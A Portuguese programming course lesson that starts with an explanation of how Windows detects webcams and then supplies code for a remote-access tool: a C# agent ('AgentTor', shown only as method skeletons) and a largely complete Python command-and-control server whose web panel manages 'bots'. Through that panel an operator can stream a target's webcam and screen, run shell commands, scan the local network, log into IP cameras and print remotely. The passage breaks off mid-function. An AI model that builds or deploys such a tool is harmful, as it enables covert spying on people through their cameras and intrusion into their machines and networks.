Aula 141 | Visualizar WebCam
Nesta aula do Curso Jaguar, damos continuidade à nossa jornada com dispositivos e APIs do Windows, com foco especial em webcams e como elas se integram ao sistema operacional e aos aplicativos.
As webcams podem ser externas (USB, com a tecnologia plug and play) ou embutidas em notebooks. Elas são dispositivos de entrada de vídeo que capturam imagens em tempo real e enviam para o computador. Quando conectadas via USB, o Windows detecta automaticamente o dispositivo por meio do barramento USB que representa o canal físico e lógico de comunicação entre o hardware e o sistema operacional.
Ao detectar a webcam, o Windows identifica informações como:
-
VID (Vendor ID): o identificador do fabricante
-
PID (Product ID): o identificador do produto específico
-
MI_00: indica múltiplas interfaces, como webcam e microfone embutidos no mesmo dispositivo
A próxima etapa é verificar se a webcam é compatível com o padrão UVC (USB Video Class). Se for, o sistema utiliza o driver genérico usbvideo.sys, sem exigir nenhuma instalação manual por parte do usuário.
Depois disso, entram em ação os drivers da arquitetura de streaming do Windows, chamada Kernel Streaming (KS):
-
ks.sys
: camada base para dispositivos de streaming de áudio e vídeo -
avstream.sys
: extensão do KS que adiciona suporte a formatos modernos
Com tudo isso carregado, o Windows registra a webcam como um USB Video Device, pronto para ser usado por qualquer software que implemente as APIs corretas. Existem várias APIs para captura e processamento de vídeo no Windows, cada uma com um propósito específico:
-
DirectShow: voltada para áudio/vídeo em tempo real. Apesar de mais antiga, ainda é usada amplamente
-
Media Foundation: substituta moderna do DirectShow, com suporte a hardware, codificação, câmera HD e integração com GPU
-
Windows.Devices.MediaCapture: projetada para apps modernos e aplicações UWP
-
avicap32.dll: biblioteca clássica usada em aplicações legadas, com interface de captura simples
Essa padronização permite que aplicativos como Zoom, Google Meet e Microsoft Teams acessem e utilizem webcams de forma simples, com chamadas de API padronizadas. O fluxo é automatizado:
-
O usuário conecta a webcam
-
O Windows detecta via barramento USB
-
Verifica compatibilidade com UVC
-
Carrega drivers (
usbvideo.sys
,ks.sys
,avstream.sys
) -
Registra o dispositivo como USB Video Device
-
O aplicativo seleciona a API de sua preferência (ex: DirectShow)
-
Inicia a captura dos frames em tempo real
-
Exibe ou transmite os frames pela rede
Tudo isso ocorre com zero intervenção do usuário, graças ao suporte nativo do sistema.
Na prática, nesta aula vamos além: vamos configurar uma rede interna com múltiplos dispositivos uma webcam local, uma câmera IP e uma impressora. O objetivo é demonstrar como é possível visualizar a imagem da webcam, acessar uma câmera IP remotamente e ainda imprimir documentos, tudo simultaneamente com um software multifunção. Isso ilustra como o sistema operacional gerencia múltiplos dispositivos de entrada e saída de forma integrada e eficiente.
Códigos:
Agente C#
.NET:
https://dotnet.microsoft.com/en-us/download |
Código para projeto:
mkdir AgentTor cd AgentTor dotnet new winforms -n AgentTor cd AgentTor |
Código AgentTor.csproj:
<Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <ItemGroup> <ItemGroup> </Project> |
Código Program.cs:
using System; public class Agente private static volatile bool isLongRunningSessionActive = false; [DllImport("kernel32.dll")] [DllImport("user32.dll")] public class DispositivoDeRede public class RespostaScan public class RespostaImpressoras public void ExecutarCiclo() private void LerBytesExatos(NetworkStream stream, byte[] buffer, int bytesParaLer) private void RealizarHandshakeSocks(NetworkStream stream, string host, int porta) var hostBytes = Encoding.ASCII.GetBytes(host); var respostaConexao = new byte[10]; private void ProcessarFluxoDeDados(NetworkStream stream) if (isInteractionCommand && isLongRunningSessionActive) private async Task EnviarMensagem(NetworkStream stream, byte tipo, string texto) private async Task EnviarPayload(NetworkStream stream, byte tipo, byte[] dados) private string EncontrarExecutavel(string[] nomes, Environment.SpecialFolder[] pastasBase) foreach (var caminho in caminhosEspecificos) var caminhosBuscaAmpla = new List<string>(); foreach (var caminhoBase in caminhosBuscaAmpla.Where(d => !string.IsNullOrEmpty(d) && Directory.Exists(d))) private async Task IniciarSessaoNavegador(string url, NetworkStream stream, CancellationToken token) navegador = await Puppeteer.LaunchAsync(new LaunchOptions private async Task TransmitirTela(NetworkStream stream, CancellationToken token) private async Task IniciarCapturaCamera(string comando, NetworkStream stream, CancellationToken token) string usuario = partes[0]; var caminhosParaTestar = new List<string>(); var client = new HttpClient(new HttpClientHandler { Credentials = new NetworkCredential(usuario, senha), PreAuthenticate = true }); bool sucesso = false; try if (!sucesso && !token.IsCancellationRequested) private async Task TransmitirStreamMJPEG(NetworkStream c2Stream, HttpResponseMessage camResponse, CancellationToken token) private async Task<byte[]> ReadNextFrameAsync(Stream stream, byte[] boundaryBytes, CancellationToken token) if (contentLength > 0) private async Task EscanearRedeLocal(NetworkStream stream) private async Task EscanearSubRede(UnicastIPAddressInformation ipInfo, NetworkStream stream, List<DispositivoDeRede> dispositivos) private async Task VerificarPorta(string alvo, NetworkStream stream) private async Task IniciarImpressao(string comando, NetworkStream stream) string executavelPath = EncontrarExecutavel( if (string.IsNullOrEmpty(executavelPath)) await EnviarMensagem(stream, 0x01, $"[+] Usando: {executavelPath}"); string argumentos = $"/t \"{tempFilePath}\" \"{nomeImpressora}\""; private async Task ListarImpressoras(NetworkStream stream) private string ExecutarComandoLocal(string nomeArquivo, string argumentos) private void ExecutarComandoShell(string comando, NetworkStream stream) public class RawPrinterHelper [DllImport("winspool.Drv", EntryPoint = "ClosePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] [DllImport("winspool.Drv", EntryPoint = "StartDocPrinterA", SetLastError = true, CharSet = CharSet.Ansi, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] [DllImport("winspool.Drv", EntryPoint = "EndDocPrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] [DllImport("winspool.Drv", EntryPoint = "StartPagePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] [DllImport("winspool.Drv", EntryPoint = "EndPagePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] [DllImport("winspool.Drv", EntryPoint = "WritePrinter", SetLastError = true, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] public static bool SendBytesToPrinter(string szPrinterName, byte[] pBytes, string szDocName) var di = new DOCINFOA IntPtr pUnmanagedBytes = Marshal.AllocHGlobal(pBytes.Length); if (OpenPrinter(szPrinterName.Normalize(), out hPrinter, IntPtr.Zero)) [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] |
Código Build:
dotnet publish -c Release -r win-x64 --self-contained true -p:PublishSingleFile=true |
C2 Python
import socket
import threading
import time
import os
import sys
import signal
import base64
import logging
import struct
import json
from flask import Flask, render_template_string
from flask_socketio import SocketIO
PORTA_C2 = 4444
PORTA_WEB = 5001
bots_conectados = []
lock = threading.Lock()
executando = True
app = Flask(__name__)
app.config['SECRET_KEY'] = 'segredo!'
socketio = SocketIO(app, async_mode='threading')
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
TEMPLATE_HTML = """
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<title>NETCAT TEST V5 - Painel de Controle Dual-Stream</title>
<style>
:root {
--cor-fundo: #121212; --cor-painel: #1e1e1e; --cor-borda: #333;
--cor-texto: #e0e0e0; --cor-texto-secundario: #aaa;
--cor-primaria: #ff4500; --cor-sucesso: #28a745; --cor-info: #17a2b8;
--cor-destaque: #6f42c1; --cor-aviso: #f0ad4e; --cor-perigo: #dc3545;
}
body, html { font-family: 'Segoe UI', 'Roboto', sans-serif; margin: 0; padding: 0; height: 100%; background-color: var(--cor-fundo); color: var(--cor-texto); display: flex; flex-direction: column; font-size: 14px; }
.navbar { background-color: #0d0d0d; padding: 0 20px; border-bottom: 2px solid var(--cor-primaria); display: flex; justify-content: space-between; align-items: center; height: 50px; flex-shrink: 0; }
.navbar h1 { margin: 0; font-size: 1.5em; letter-spacing: 2px; }
.master-container { display: flex; flex: 1; overflow: hidden; }
.actions-panel { width: 80px; background-color: var(--cor-painel); padding: 15px 0; border-right: 1px solid var(--cor-borda); display: flex; flex-direction: column; align-items: center; flex-shrink: 0; gap: 20px; }
.action-icon { display: flex; flex-direction: column; align-items: center; justify-content: center; width: 60px; height: 60px; background-color: #2c2c2c; border-radius: 8px; cursor: pointer; transition: all 0.2s ease-in-out; position: relative; }
.action-icon:hover { background-color: var(--cor-primaria); transform: translateY(-3px); }
.action-icon svg { width: 32px; height: 32px; fill: var(--cor-texto); }
.action-icon .tooltip { visibility: hidden; width: 140px; background-color: #0d0d0d; color: #fff; text-align: center; border-radius: 6px; padding: 5px 0; position: absolute; z-index: 1; left: 110%; top: 50%; margin-top: -15px; opacity: 0; transition: opacity 0.3s; }
.action-icon:hover .tooltip { visibility: visible; opacity: 1; }
.main-content { flex: 1; display: grid; grid-template-columns: 1fr 1fr; grid-template-rows: 1.5fr 1fr 1fr; gap: 15px; padding: 15px; }
.grid-item { background-color: #0d0d0d; border: 1px solid var(--cor-borda); border-radius: 5px; display: flex; flex-direction: column; overflow: hidden; }
.stream-container { background-color: #000; position: relative; }
.stream-container .stream-header { background-color: #252525; padding: 5px 12px; font-weight: bold; border-bottom: 1px solid var(--cor-borda); text-align: center; color: var(--cor-primaria);}
.stream-container img { width: 100%; height: calc(100% - 29px); object-fit: contain; background-color: #000; }
#stream-container-nav { grid-column: 1 / 2; grid-row: 1 / 2; }
#stream-container-webcam { grid-column: 2 / 3; grid-row: 1 / 2; }
.click-effect { position: absolute; border: 2px solid rgba(255, 69, 0, 0.9); border-radius: 50%; transform: translate(-50%, -50%); animation: ripple 0.5s linear; pointer-events: none; box-shadow: 0 0 15px rgba(255, 69, 0, 0.5); }
@keyframes ripple { to { width: 100px; height: 100px; opacity: 0; } }
#session-terminal-1-container { grid-column: 1 / 2; grid-row: 2 / 3; }
#session-terminal-2-container { grid-column: 2 / 3; grid-row: 2 / 3; }
#cmd-terminal-container { grid-column: 1 / 3; grid-row: 3 / 4; }
.terminal-header { background-color: #252525; padding: 8px 12px; font-weight: bold; border-bottom: 1px solid var(--cor-borda); }
.terminal-output { flex: 1; padding: 10px; overflow-y: auto; white-space: pre-wrap; font-family: 'Courier New', Courier, monospace; font-size: 0.95em; }
.terminal-input { display: flex; border-top: 1px solid var(--cor-borda); }
.terminal-input span { padding: 10px; background-color: var(--cor-painel); font-weight: bold; }
.terminal-input input { flex: 1; background-color: var(--cor-fundo); border: none; color: var(--cor-texto); padding: 10px; font-family: inherit; }
.terminal-input input:focus { outline: none; }
.modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0,0,0,0.6); }
.modal-content { background-color: var(--cor-painel); margin: 10% auto; padding: 20px; border: 1px solid var(--cor-borda); width: 80%; max-width: 600px; border-radius: 8px; box-shadow: 0 5px 15px rgba(0,0,0,0.5); }
.modal-header { display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid var(--cor-borda); padding-bottom: 10px; margin-bottom: 15px; }
.modal-header h4 { margin: 0; font-size: 1.2em; color: var(--cor-primaria); }
.close-btn { color: var(--cor-texto-secundario); font-size: 28px; font-weight: bold; cursor: pointer; }
.action-input { width: calc(100% - 22px); background-color: var(--cor-fundo); border: 1px solid var(--cor-borda); color: var(--cor-texto); padding: 10px; margin-bottom: 10px; border-radius: 4px; }
.action-btn { width: 100%; padding: 10px; margin-top: 5px; border: none; color: #fff; cursor: pointer; font-weight: bold; border-radius: 4px; transition: all 0.2s ease-in-out; display: flex; align-items: center; justify-content: center; gap: 8px; }
.btn-scan { background-color: var(--cor-info); } .btn-scan:hover { background-color: #19b9d1; }
.btn-print { background-color: var(--cor-destaque); } .btn-print:hover { background-color: #8352d8; }
.btn-cam { background-color: var(--cor-perigo); } .btn-cam:hover { background-color: #e84a59; }
.btn-nav { background-color: var(--cor-sucesso); } .btn-nav:hover { background-color: #32c450; }
.btn-portscan { background-color: var(--cor-aviso); } .btn-portscan:hover { background-color: #f5b95f; }
.btn-webcam { background-color: var(--cor-destaque); } .btn-webcam:hover { background-color: #8352d8; }
.bot-item { padding: 10px; margin-bottom: 8px; background-color: #2c2c2c; border-radius: 5px; cursor: pointer; border-left: 4px solid #555; display: flex; justify-content: space-between; align-items: center; transition: all 0.2s ease-in-out; }
.bot-item:hover { background-color: #383838; }
.bot-item.active { border-left-color: var(--cor-primaria); background-color: #404040; }
</style>
</head>
<body>
<nav class="navbar"><h1>NETCAT TEST V5</h1><span id="current-time"></span></nav>
<div class="master-container">
<div class="actions-panel">
<div class="action-icon" id="bots-icon"><svg viewBox="0 0 24 24"><path d="M16.5 12c1.38 0 2.5-1.12 2.5-2.5S17.88 7 16.5 7C15.12 7 14 8.12 14 9.5s1.12 2.5 2.5 2.5zM9 11c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3zm7.5 3c-1.83 0-5.5.92-5.5 2.75V19h11v-2.25c0-1.83-3.67-2.75-5.5-2.75zM9 13c-2.33 0-7 1.17-7 3.5V19h7v-2.25c0-.85.33-2.34 2.37-3.47C10.5 13.1 9.66 13 9 13z"/></svg><span class="tooltip">Bots Conectados</span></div>
<div class="action-icon" id="scan-icon"><svg viewBox="0 0 24 24"><path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"/></svg><span class="tooltip">Análise de Rede</span></div>
<div class="action-icon" id="nav-icon"><svg viewBox="0 0 24 24"><path d="M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 14H4V8h16v10zm-12-9h10v2H8v-2z"/></svg><span class="tooltip">Navegação</span></div>
<div class="action-icon" id="cam-icon"><svg viewBox="0 0 24 24"><path d="M12 12c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2zm6-1.8C18 8.01 15.31 6 12 6s-6 2.01-6 4.2V12c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-1.8zM12 4c-4.42 0-8 1.79-8 4v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-2.21-3.58-4-8-4z"/></svg><span class="tooltip">Câmera IP</span></div>
<div class="action-icon" id="webcam-icon"><svg viewBox="0 0 24 24"><path d="M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11l-4 4zM15 16H5V8h10v8z"/></svg><span class="tooltip">Webcam Alvo</span></div>
<div class="action-icon" id="print-icon"><svg viewBox="0 0 24 24"><path d="M19 8H5c-1.66 0-3 1.34-3 3v6h4v4h12v-4h4v-6c0-1.66-1.34-3-3-3zm-3 11H8v-5h8v5zm3-7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm-1-9H6v4h12V3z"/></svg><span class="tooltip">Impressão</span></div>
<div class="action-icon" id="portscan-icon"><svg viewBox="0 0 24 24"><path d="M9 4v2h2V4H9zm4 0v2h2V4h-2zm4 0v2h2V4h-2zM4 9v2h2V9H4zm14 0v2h2V9h-2zM4 14v2h2v-2H4zm14 0v2h2v-2h-2zM9 19v2h2v-2H9zm4 0v2h2v-2h-2zM4 4v2h2V4H4zm0 15v2h2v-2H4zm14 5v2h2v-2h-2zM9 9v6h6V9H9z"/></svg><span class="tooltip">Verificar Porta</span></div>
</div>
<div class="main-content">
<div class="grid-item stream-container" id="stream-container-nav"><div class="stream-header">Navegação / Câmera IP</div><img id="stream-nav-ip" src="" alt="Stream da navegação ou câmera IP aparecerá aqui."/></div>
<div class="grid-item stream-container" id="stream-container-webcam"><div class="stream-header">Webcam Alvo</div><img id="stream-webcam" src="" alt="Stream da webcam do alvo aparecerá aqui."/></div>
<div class="grid-item terminal-container" id="session-terminal-1-container"><div class="terminal-header">Sessão Principal</div><div id="session-terminal-1-output" class="terminal-output"></div></div>
<div class="grid-item terminal-container" id="session-terminal-2-container"><div class="terminal-header">Sessões Rápidas</div><div id="session-terminal-2-output" class="terminal-output"></div></div>
<div class="grid-item terminal-container" id="cmd-terminal-container">
<div class="terminal-header">Terminal de Comando</div>
<div id="cmd-terminal-output" class="terminal-output"></div>
<div class="terminal-input">
<span id="prompt">$</span>
<input type="text" id="command-input" placeholder="Digite um comando ou 'netcattest -h'...">
</div>
</div>
</div>
</div>
<div id="bots-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Bots Conectados</h4><span class="close-btn">×</span></div><div id="bot-list-modal"></div></div></div>
<div id="scan-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Análise de Rede</h4><span class="close-btn">×</span></div><button id="scan-network-btn" class="action-btn btn-scan">Escanear Rede</button><div id="devices-list"></div></div></div>
<div id="nav-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Navegação Remota</h4><span class="close-btn">×</span></div><input type="text" id="nav-url-input" class="action-input" placeholder="https://exemplo.com"><button id="start-nav-btn" class="action-btn btn-nav">Iniciar Navegação</button></div></div>
<div id="cam-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Acesso à Câmera IP</h4><span class="close-btn">×</span></div><input type="text" id="cam-ip-input" class="action-input" placeholder="IP da Câmera"><input type="text" id="cam-user-input" class="action-input" placeholder="Usuário"><input type="text" id="cam-pass-input" class="action-input" placeholder="Senha"><input type="text" id="cam-path-input" class="action-input" placeholder="Caminho (ex: /mjpg/video.mjpg)"><button id="cam-connect-btn" class="action-btn btn-cam">Conectar</button></div></div>
<div id="webcam-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Acesso à Webcam do Alvo</h4><span class="close-btn">×</span></div><button id="start-webcam-btn" class="action-btn btn-webcam">Iniciar Stream da Webcam</button></div></div>
<div id="print-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Módulo de Impressão</h4><span class="close-btn">×</span></div><button id="fetch-printers-btn" class="action-btn btn-scan">Listar Impressoras</button><select id="printer-select" class="action-input"></select><input type="text" id="job-name-input" class="action-input" placeholder="Nome do Trabalho"><select id="print-method-select" class="action-input"><option value="acrobat">Acrobat (Requer Instalação)</option><option value="raw">RAW (PCL, PRN, etc)</option></select><input type="file" id="pdf-file-input" class="action-input" accept=".pdf,.pcl,.prn"><button id="print-btn" class="action-btn btn-print">Imprimir Arquivo</button></div></div>
<div id="portscan-modal" class="modal"><div class="modal-content"><div class="modal-header"><h4>Verificar Porta</h4><span class="close-btn">×</span></div><input type="text" id="portscan-ip-input" class="action-input" placeholder="IP do Alvo"><input type="text" id="portscan-port-input" class="action-input" placeholder="Porta"><button id="portscan-btn" class="action-btn btn-portscan">Verificar</button></div></div>
<script src="https://cdn.socket.io/4.7.5/socket.io.min.js"></script>
<script>
const socket = io();
let activeBotId = null;
const streamNavIpImg = document.getElementById('stream-nav-ip');
const streamWebcamImg = document.getElementById('stream-webcam');
const streamNavContainer = document.getElementById('stream-container-nav');
const session1Output = document.getElementById('session-terminal-1-output');
const session2Output = document.getElementById('session-terminal-2-output');
const cmdOutput = document.getElementById('cmd-terminal-output');
const session1Commands = ['netcattestnav:', 'netcattestcamera:', 'netcattestwebcam', 'fecharpagina', 'fecharwebcam'];
const session2Commands = ['netcattestscan', 'netcattestimpressoras', 'netcattestportas:', 'netcattestimprimir:'];
const helpCommand = 'netcattest -h';
function sendCommand(command, target) {
if (activeBotId === null) { logToTerminal('Nenhum bot selecionado.', 'error', 'session2'); return; }
if (command.startsWith('netcattestimprimir:')) {
logToTerminal('> ' + command.substring(0, command.lastIndexOf(':')) + ':...[DADOS_DO_ARQUIVO]', 'cmd', target);
} else {
logToTerminal(`> ${command}`, 'cmd', target);
}
socket.emit('send_command', { bot_id: activeBotId, command: command, target: target });
}
function logToTerminal(message, type = 'info', target = 'session2') {
let out;
switch(target) {
case 'session1': out = session1Output; break;
case 'session2': out = session2Output; break;
case 'cmd': out = cmdOutput; break;
default: out = cmdOutput;
}
const line = document.createElement('div');
line.textContent = message;
if (type === 'cmd') line.style.color = 'var(--cor-primaria)';
else if (type === 'response') line.style.color = 'var(--cor-sucesso)';
else if (type === 'error') line.style.color = 'var(--cor-perigo)';
else line.style.color = 'var(--cor-info)';
out.appendChild(line);
out.scrollTop = out.scrollHeight;
}
function selectBot(botId) {
activeBotId = botId;
document.getElementById('prompt').textContent = `Bot[${botId}]$`;
logToTerminal(`Sessão com bot ${botId} iniciada.`, 'info', 'cmd');
socket.emit('request_bot_list');
[cmdOutput, session1Output, session2Output].forEach(o => o.innerHTML = '');
streamNavIpImg.src = '';
streamWebcamImg.src = '';
const botsModal = document.getElementById('bots-modal');
botsModal.style.display = 'none';
}
function renderBotList(bots) {
const botListEl = document.getElementById('bot-list-modal');
botListEl.innerHTML = '';
bots.forEach(bot => {
const botEl = document.createElement('div');
botEl.className = 'bot-item';
if (bot.id === activeBotId) botEl.classList.add('active');
const statusText = bot.ativo ? `Online: ${bot.uptime}` : `Offline: ${bot.uptime}`;
botEl.innerHTML = `<div><span>${bot.id}: ${bot.nome}</span><br><small>${statusText}</small></div><span>${bot.ativo ? '🟢' : '🔴'}</span>`;
botEl.onclick = () => selectBot(bot.id);
botListEl.appendChild(botEl);
});
}
function renderNetworkDevices(devices) {
const devicesListEl = document.getElementById('devices-list');
devicesListEl.innerHTML = '';
if (devices.length === 0) {
devicesListEl.innerHTML = '<p>Nenhum dispositivo encontrado.</p>';
return;
}
devices.forEach(device => {
const deviceEl = document.createElement('div');
deviceEl.className = 'bot-item';
let typeIcon = '💻';
if (device.Type.toLowerCase().includes('impressora')) typeIcon = '🖨';
else if (device.Type.toLowerCase().includes('câmera')) typeIcon = '📷';
else if (device.Type.toLowerCase().includes('roteador')) typeIcon = '📡';
deviceEl.innerHTML = `<span>${device.IP} [${device.MAC}]</span><span>${device.Manufacturer} (${typeIcon} ${device.Type})</span>`;
deviceEl.onclick = () => {
if (device.Type.toLowerCase().includes('câmera')) {
document.getElementById('cam-ip-input').value = device.IP;
}
};
devicesListEl.appendChild(deviceEl);
});
}
function renderPrinterList(printers) {
const printerSelectEl = document.getElementById('printer-select');
printerSelectEl.innerHTML = '';
if (printers.length === 0) {
logToTerminal('Nenhuma impressora encontrada.', 'info', 'session2');
return;
}
printers.forEach(name => {
const option = document.createElement('option');
option.value = name;
option.textContent = name;
printerSelectEl.appendChild(option);
});
}
socket.on('connect', () => { logToTerminal('Painel de controle conectado.', 'info', 'cmd'); socket.emit('request_bot_list'); });
socket.on('time_update', (data) => { document.getElementById('current-time').textContent = data.time; });
socket.on('bot_list_update', (bots) => renderBotList(bots));
socket.on('bot_response', (data) => {
if (data.bot_id !== activeBotId) return;
try {
const response = JSON.parse(data.response);
if (response.type === 'network_scan') {
renderNetworkDevices(response.devices);
logToTerminal('Scan de rede concluído. Resultados no modal.', 'info', 'session2');
} else if (response.type === 'printer_list') {
renderPrinterList(response.printers);
logToTerminal('Lista de impressoras recebida. Verifique o modal.', 'info', 'session2');
}
} catch (e) {
logToTerminal(data.response, 'response', data.target);
}
});
socket.on('frame_imagem', (data) => {
if (data.bot_id !== activeBotId) return;
const imgSrc = 'data:image/jpeg;base64,' + data.imagem;
if (data.stream_type === 'nav_ip') {
streamNavIpImg.src = imgSrc;
} else if (data.stream_type === 'webcam') {
streamWebcamImg.src = imgSrc;
}
});
document.getElementById('command-input').addEventListener('keydown', (e) => {
if (e.key === 'Enter' && e.target.value.trim() !== '') {
const command = e.target.value.trim();
let target = 'cmd';
if (session1Commands.some(c => command.startsWith(c))) target = 'session1';
else if (session2Commands.some(c => command.startsWith(c)) || command === helpCommand) target = 'session2';
sendCommand(command, target);
e.target.value = '';
}
});
const modals = {
'bots-icon': 'bots-modal', 'scan-icon': 'scan-modal', 'nav-icon': 'nav-modal',
'cam-icon': 'cam-modal', 'webcam-icon': 'webcam-modal', 'print-icon': 'print-modal',
'portscan-icon': 'portscan-modal'
};
Object.keys(modals).forEach(iconId => {
document.getElementById(iconId).onclick = () => { document.getElementById(modals[iconId]).style.display = 'block'; };
});
document.querySelectorAll('.modal').forEach(modal => {
modal.querySelector('.close-btn').onclick = () => { modal.style.display = 'none'; };
});
window.onclick = (event) => {
if (event.target.classList.contains('modal')) event.target.style.display = "none";
};
document.getElementById('scan-network-btn').onclick = () => sendCommand('netcattestscan', 'session2');
document.getElementById('start-nav-btn').onclick = () => sendCommand(`netcattestnav:${document.getElementById('nav-url-input').value}`, 'session1');
document.getElementById('cam-connect-btn').onclick = () => {
const ip = document.getElementById('cam-ip-input').value;
const user = document.getElementById('cam-user-input').value;
const pass = document.getElementById('cam-pass-input').value;
const path = document.getElementById('cam-path-input').value;
if(ip && user && pass) sendCommand(`netcattestcamera:${user}:${pass}:${ip}:${path}`, 'session1');
};
document.getElementById('start-webcam-btn').onclick = () => sendCommand('netcattestwebcam', 'session1');
document.getElementById('fetch-printers-btn').onclick = () => sendCommand('netcattestimpressoras', 'session2');
document.getElementById('print-btn').onclick = () => {
const fileInput = document.getElementById('pdf-file-input');
const printerName = document.getElementById('printer-select').value;
const jobName = document.getElementById('job-name-input').value || 'Trabalho Remoto';
const printMethod = document.getElementById('print-method-select').value;
if (fileInput.files.length === 0) { logToTerminal('Selecione um arquivo.', 'error', 'session2'); return; }
if (!printerName) { logToTerminal('Nenhuma impressora selecionada.', 'error', 'session2'); return; }
const reader = new FileReader();
reader.onload = (e) => {
const b64data = e.target.result.split(',')[1];
sendCommand(`netcattestimprimir:${printMethod}:${printerName}:${jobName}:${b64data}`, 'session2');
};
reader.readAsDataURL(fileInput.files[0]);
};
document.getElementById('portscan-btn').onclick = () => sendCommand(`netcattestportas:${document.getElementById('portscan-ip-input').value}:${document.getElementById('portscan-port-input').value}`, 'session2');
function showClickEffect(x, y) {
const effect = document.createElement('div');
effect.className = 'click-effect';
effect.style.left = `${x}px`;
effect.style.top = `${y}px`;
streamNavContainer.appendChild(effect);
setTimeout(() => effect.remove(), 500);
}
streamNavIpImg.addEventListener('click', (e) => {
if (activeBotId === null) return;
const rect = e.target.getBoundingClientRect();
showClickEffect(e.clientX - rect.left, e.clientY - rect.top);
const scaleX = e.target.naturalWidth / rect.width;
const scaleY = e.target.naturalHeight / rect.height;
const x = Math.round((e.clientX - rect.left) * scaleX);
const y = Math.round((e.clientY - rect.top) * scaleY);
socket.emit('interaction', { bot_id: activeBotId, type: 'CLICK', x: x, y: y });
});
window.addEventListener('wheel', (e) => {
if (activeBotId === null || !streamNavIpImg.contains(e.target)) return;
e.preventDefault();
socket.emit('interaction', { bot_id: activeBotId, type: 'SCROLL', delta: Math.round(e.deltaY) });
}, { passive: false });
window.addEventListener('keydown', (e) => {
if (activeBotId === null || document.activeElement.tagName === 'INPUT') return;
const teclasEspeciais = new Set(['Enter','Backspace','Tab','Escape','Delete','ArrowUp','ArrowDown','ArrowLeft','ArrowRight','Home','End','PageUp','PageDown']);
if (teclasEspeciais.has(e.key) || e.key.length === 1) {
e.preventDefault();
const type = teclasEspeciais.has(e.key) ? 'KEY_PRESS' : 'TYPE';
socket.emit('interaction', { bot_id: activeBotId, type: type, key: e.key });
}
});
</script>
</body>
</html>
"""
def enviar_comando_para_bot(bot_socket, tipo, dados_str):
dados_bytes = dados_str.encode('utf-8')
tamanho = len(dados_bytes)
cabecalho = struct.pack('<BI', tipo, tamanho)
try:
bot_socket.sendall(cabecalho + dados_bytes)
except Exception as e:
print(f"[!] Erro ao enviar comando para o bot: {e}")
def ler_bytes_exatos(sock, num_bytes):
dados = b''
while len(dados) < num_bytes:
pacote = sock.recv(num_bytes - len(dados))
if not pacote: return None
dados += pacote
return dados
def notificar_clientes_web():
with lock:
lista_bots_serializavel = []
for bot in bots_conectados:
if bot["ativo"]:
tempo_decorrido = int(time.time() - bot["inicio_conexao"])
else:
tempo_decorrido = int(time.time() - bot.get("tempo_offline", bot["inicio_conexao"]))
minutos, seg = divmod(tempo_decorrido, 60)
horas, minutos = divmod(minutos, 60)
uptime_str = f"{horas:02d}h{minutos:02d}m{seg:02d}s"
lista_bots_serializavel.append({
"id": bot["id"], "nome": bot["nome"], "ativo": bot["ativo"], "uptime": uptime_str
})
socketio.emit('bot_list_update', lista_bots_serializavel)
def background_updater():
while executando:
socketio.sleep(1)
notificar_clientes_web()
socketio.emit('time_update', {'time': time.strftime("%H:%M:%S")})
def tratar_bot(bot_socket, endereco, bot_id):
info_bot = bots_conectados[bot_id]
nome_bot = info_bot["nome"]
print(f"\n[+] Conexão recebida de {nome_bot}")
notificar_clientes_web()
try:
while executando and info_bot["ativo"]:
cabecalho = ler_bytes_exatos(bot_socket, 5)
if not cabecalho: break
tipo, tamanho = struct.unpack('<BI', cabecalho)
dados = ler_bytes_exatos(bot_socket, tamanho)
if not dados: break
if tipo == 0x01:
response_str = dados.decode('utf-8', errors='ignore')
target = info_bot.get('last_cmd_target', 'cmd')
socketio.emit('bot_response', {'bot_id': bot_id, 'response': response_str, 'target': target})
elif tipo == 0x02:
imagem_base64 = base64.b64encode(dados).decode('utf-8')
socketio.emit('frame_imagem', {'bot_id': bot_id, 'imagem': imagem_base64, 'stream_type': 'nav_ip'})
elif tipo == 0x03:
imagem_base64 = base64.b64encode(dados).decode('utf-8')
socketio.emit('frame_imagem', {'bot_id': bot_id, 'imagem': imagem_base64, 'stream_type': 'webcam'})
finally:
with lock:
info_bot["ativo"] = False
info_bot["tempo_offline"] = time.time()
print(f"\n[-] Bot desconectado: {nome_bot}")
notificar_clientes_web()
def iniciar_servidor_c2():
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
servidor.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
